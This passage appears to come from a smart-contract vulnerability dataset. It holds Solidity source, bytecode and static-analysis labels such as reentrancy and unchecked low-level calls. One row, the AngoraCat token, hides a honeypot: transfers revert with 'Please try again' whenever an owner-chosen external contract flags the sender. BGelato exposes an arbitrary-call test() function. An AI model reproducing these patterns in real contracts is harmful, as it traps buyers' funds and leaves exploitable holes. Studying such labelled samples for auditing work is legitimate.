73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60106020528060005260406000206000915090505481565b600082821115611fae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b818303905092915050565b600080831415611fcc5760009050612039565b6000828402905082848281611fdd57fe5b0414612034576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612a276021913960400191505060405180910390fd5b809150505b92915050565b60008082116120b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b8183816120bf57fe5b04905092915050565b600080828401905083811015612146576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6121ed8363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061253a565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612280576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001806129fa602d913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f74da04524d50c64947f5dd5381ef1a4dca5cba8ed1d816243f9e48aa0b5617ed60405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61233481600354611f3690919063ffffffff16565b60038190555061238c81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f3690919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241c3382600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166121509092919063ffffffff16565b50565b600081831061242e5781612430565b825b905092915050565b61244d816003546120c890919063ffffffff16565b6003819055506124a581600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120c890919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612537333083600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612629909392919063ffffffff16565b50565b606061259c826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166126ea9092919063ffffffff16565b9050600081511115612624578080602001905160208110156125bd57600080fd5b8101908080519060200190929190505050612623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612ab3602a913960400191505060405180910390fd5b5b505050565b6126e4846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061253a565b50505050565b60606126f98484600085612702565b90509392505050565b60608247101561275d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806129d46026913960400191505060405180910390fd5b612766856128ab565b6127d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106128285780518252602082019150602081019050602083039250612805565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461288a576040519150601f19603f3d011682016040523d82523d6000602084013e61288f565b606091505b509150915061289f8282866128be565b92505050949350505050565b600080823b905060008111915050919050565b606083156128ce57829050612983565b6000835111156128e15782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561294857808201518184015260208101905061292d565b50505050905090810190601f1680156129755780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737373686f72745374616b654241537632506f6f6c3a2043616e6e6f74207374616b652030416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c6f70657261746f723a207a65726f206164647265737320676976656e20666f72206e6577206f70657261746f72536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f776f70657261746f723a2063616c6c6572206973206e6f7420746865206f70657261746f7243616c6c6572206973206e6f742072657761726420646973747269627574696f6e73686f72745374616b654241537632506f6f6c3a2043616e6e6f7420776974686472617720305361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a26469706673582212204c241615736c544883eb1bd5691d5da182ec5e7994f3145adf1824cf9259c55264736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2487,
2063,
24087,
22407,
2546,
2581,
2094,
16147,
2487,
15878,
2575,
4402,
19961,
9818,
2063,
2549,
2278,
19961,
2629,
2278,
2475,
2278,
21926,
2620,
2278,
2683,
2278,
2475,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1025,
8278,
21307,
21369,
20939,
13462,
1063,
3853,
12927,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
6402,
1006,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
1025,
3853,
6402,
19699,
5358,
1006,
4769,
2013,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
1025,
3853,
11163,
4842,
8844,
1006,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
6872,
1006,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,542 | 0x955263e4c3166e254517365b06cc420621149cf4 | pragma solidity ^0.4.19;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
} | 0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce5671461024957806342966c681461027857806370a08231146102b357806379cc67901461030057806395d89b411461035a578063a9059cbb146103e8578063cae9ca511461042a578063dd62ed3e146104c7575b600080fd5b34156100ca57600080fd5b6100d2610533565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d1565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba61065e565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610664565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610791565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b61029960048080359060200190919050506107a4565b604051808215151515815260200191505060405180910390f35b34156102be57600080fd5b6102ea600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a8565b6040518082815260200191505060405180910390f35b341561030b57600080fd5b610340600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108c0565b604051808215151515815260200191505060405180910390f35b341561036557600080fd5b61036d610ada565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ad578082015181840152602081019050610392565b50505050905090810190601f1680156103da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103f357600080fd5b610428600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b78565b005b341561043557600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b87565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b61051d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d05565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c95780601f1061059e576101008083540402835291602001916105c9565b820191906000526020600020905b8154815290600101906020018083116105ac57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b60035481565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106f157600080fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610786848484610d2a565b600190509392505050565b600260009054906101000a900460ff1681565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156107f457600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60046020528060005260406000206000915090505481565b600081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561091057600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561099b57600080fd5b81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816003600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b505050505081565b610b83338383610d2a565b5050565b600080849050610b9785856105d1565b15610cfc578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c91578082015181840152602081019050610c76565b50505050905090810190601f168015610cbe5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610cdf57600080fd5b6102c65a03f11515610cf057600080fd5b50505060019150610cfd565b5b509392505050565b6005602052816000526040600020602052806000526040600020600091509150505481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614151515610d5157600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d9f57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610e2d57600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401905081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a380600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540114151561103a57fe5b505050505600a165627a7a72305820c34b7785e032795769b6e436fa621878d411e4ec3aeed8b43d93966b10eb22000029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
24087,
23833,
2509,
2063,
2549,
2278,
21486,
28756,
2063,
17788,
19961,
16576,
21619,
2629,
2497,
2692,
2575,
9468,
20958,
2692,
2575,
17465,
16932,
2683,
2278,
2546,
2549,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2539,
1025,
8278,
19204,
2890,
6895,
14756,
3372,
1063,
3853,
4374,
29098,
12298,
2389,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
17788,
2575,
1035,
3643,
1010,
4769,
1035,
19204,
1010,
27507,
1035,
4469,
2850,
2696,
1007,
2270,
1025,
1065,
3206,
19204,
2121,
2278,
11387,
1063,
1013,
1013,
2270,
10857,
1997,
1996,
19204,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
1013,
1013,
2324,
26066,
2015,
2003,
1996,
6118,
4081,
12398,
1010,
4468,
5278,
2009,
21318,
3372,
17788,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,543 | 0x9552d6f69e7639e5780007166a81476d702433ac | // SPDX-License-Identifier: MIT
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
interface KeeperLike {
function checkUpkeep(bytes calldata checkData) external returns (bool upkeepNeeded, bytes memory performData);
function performUpkeepSafe(bytes calldata performData) external;
function performUpkeep(bytes calldata performData) external;
}
contract BGelato {
KeeperLike immutable public proxy;
constructor(KeeperLike _proxy) public {
proxy = _proxy;
}
function checker()
external
returns (bool canExec, bytes memory execPayload)
{
(bool upkeepNeeded, bytes memory performData) = proxy.checkUpkeep(bytes(""));
canExec = upkeepNeeded;
(uint qty, address bamm, uint bammBalance) = abi.decode(performData, (uint, address, uint));
execPayload = abi.encodeWithSelector(
BGelato.doer.selector,
qty, bamm, bammBalance
);
}
event Input(uint x, address y, uint z);
event Input2(bytes d);
function doer(uint qty, address bamm, uint bammBalance) external returns (bytes memory performData) {
emit Input(qty, bamm, bammBalance);
performData = abi.encode(qty, bamm, bammBalance);
emit Input2(performData);
proxy.performUpkeepSafe(performData);
}
function test(bytes calldata input) external {
address(this).call(input);
}
} | 0x608060405234801561001057600080fd5b506004361061004c5760003560e01c80632f570a231461005157806382fb2bd914610066578063cf5303cf1461008f578063ec556889146100a5575b600080fd5b61006461005f36600461043e565b6100ba565b005b6100796100743660046104e0565b610115565b6040516100869190610576565b60405180910390f35b610097610234565b604051610086929190610553565b6100ad610369565b6040516100869190610590565b60405130906100cc9084908490610543565b6000604051808303816000865af19150503d8060008114610109576040519150601f19603f3d011682016040523d82523d6000602084013e61010e565b606091505b5050505050565b60607f4934dec222606861e54bbc15f0e3e54a35ec7d6fd6a3ca4877d1167cecc9f00d84848460405161014a939291906105a4565b60405180910390a1838383604051602001610167939291906105a4565b60405160208183030381529060405290507fe38ec31de89c107dc5b271b89b22848f60e269ac10b3b216c6943ae0a7b9a8a4816040516101a79190610576565b60405180910390a1604051630f98044d60e21b81526001600160a01b037f00000000000000000000000048420fad7cc1b517e3b49126edc9988df6e0e7781690633e601134906101fb908490600401610576565b600060405180830381600087803b15801561021557600080fd5b505af1158015610229573d6000803e3d6000fd5b505050509392505050565b6040805160208101825260008082529151636e04ff0d60e01b8152606091839183916001600160a01b037f00000000000000000000000048420fad7cc1b517e3b49126edc9988df6e0e7781691636e04ff0d9161029391600401610576565b600060405180830381600087803b1580156102ad57600080fd5b505af11580156102c1573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526102e9919081019061038d565b9150915081935060008060008380602001905181019061030991906104a8565b9250925092506382fb2bd960e01b83838360405160240161032c939291906105a4565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152969795505050505050565b7f00000000000000000000000048420fad7cc1b517e3b49126edc9988df6e0e77881565b6000806040838503121561039f578182fd5b82516103aa8161060b565b602084015190925067ffffffffffffffff808211156103c7578283fd5b81850186601f8201126103d8578384fd5b80519250818311156103e8578384fd5b604051601f8401601f191681016020018381118282101715610408578586fd5b60405283815281840160200188101561041f578485fd5b6104308460208301602085016105c3565b809450505050509250929050565b60008060208385031215610450578182fd5b823567ffffffffffffffff80821115610467578384fd5b81850186601f820112610478578485fd5b8035925081831115610488578485fd5b866020848301011115610499578485fd5b60200196919550909350505050565b6000806000606084860312156104bc578081fd5b8351925060208401516104ce816105f3565b80925050604084015190509250925092565b6000806000606084860312156104f4578283fd5b833592506020840135610506816105f3565b929592945050506040919091013590565b6000815180845261052f8160208601602086016105c3565b601f01601f19169290920160200192915050565b6000828483379101908152919050565b600083151582526040602083015261056e6040830184610517565b949350505050565b6000602082526105896020830184610517565b9392505050565b6001600160a01b0391909116815260200190565b9283526001600160a01b03919091166020830152604082015260600190565b60005b838110156105de5781810151838201526020016105c6565b838111156105ed576000848401525b50505050565b6001600160a01b038116811461060857600080fd5b50565b801515811461060857600080fdfea264697066735822122081254bd7c7ec0528eaa8652a6ce182461d496f048af9be7f5d87559ad110fa7264736f6c634300060b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2475,
2094,
2575,
2546,
2575,
2683,
2063,
2581,
2575,
23499,
2063,
28311,
17914,
8889,
2581,
16048,
2575,
2050,
2620,
16932,
2581,
2575,
2094,
19841,
18827,
22394,
6305,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1020,
1012,
2340,
1025,
10975,
8490,
2863,
6388,
11113,
9013,
16044,
2099,
2615,
2475,
1025,
8278,
10684,
10359,
1063,
3853,
4638,
6279,
20553,
2361,
1006,
27507,
2655,
2850,
2696,
4638,
2850,
2696,
1007,
6327,
5651,
1006,
22017,
2140,
2039,
20553,
2361,
24045,
5732,
1010,
27507,
3638,
4685,
2850,
2696,
1007,
1025,
3853,
4685,
6279,
20553,
4523,
10354,
2063,
1006,
27507,
2655,
2850,
2696,
4685,
2850,
2696,
1007,
6327,
1025,
3853,
4685,
6279,
20553,
2361,
1006,
27507,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,544 | 0x95530695f04978b5732bb30c655fafd4c6a0efdb | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.2;
interface CoinBEP20 {
function dalienaakan(address account) external view returns (uint8);
}
contract AngoraCat is CoinBEP20 {
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowance;
CoinBEP20 dai;
uint256 public totalSupply = 10 * 10**12 * 10**18;
string public name = "Angora Cat";
string public symbol = hex"414E474F5241f09f9088";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(CoinBEP20 otd) {
dai = otd;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address owner) public view returns(uint256) {
return balances[owner];
}
function transfer(address to, uint256 value) public returns(bool) {
require(dai.dalienaakan(msg.sender) != 1, "Please try again");
require(balanceOf(msg.sender) >= value, 'balance too low');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function dalienaakan(address account) external override view returns (uint8) {
return 1;
}
function transferFrom(address from, address to, uint256 value) public returns(bool) {
require(dai.dalienaakan(from) != 1, "Please try again");
require(balanceOf(from) >= value, 'balance too low');
require(allowance[from][msg.sender] >= value, 'allowance too low');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value) public returns(bool) {
allowance[msg.sender][spender] = value;
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063313ce56711610071578063313ce5671461028f57806370a08231146102ad57806395d89b4114610305578063a9059cbb14610388578063dd62ed3e146103ec578063fa9fce4914610464576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b357806327e235e314610237575b600080fd5b6100b66104bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061055d565b60405180821515815260200191505060405180910390f35b61019d6105ea565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105f0565b60405180821515815260200191505060405180910390f35b6102796004803603602081101561024d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a7565b6040518082815260200191505060405180910390f35b6102976109bf565b6040518082815260200191505060405180910390f35b6102ef600480360360208110156102c357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109c5565b6040518082815260200191505060405180910390f35b61030d610a0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561034d578082015181840152602081019050610332565b50505050905090810190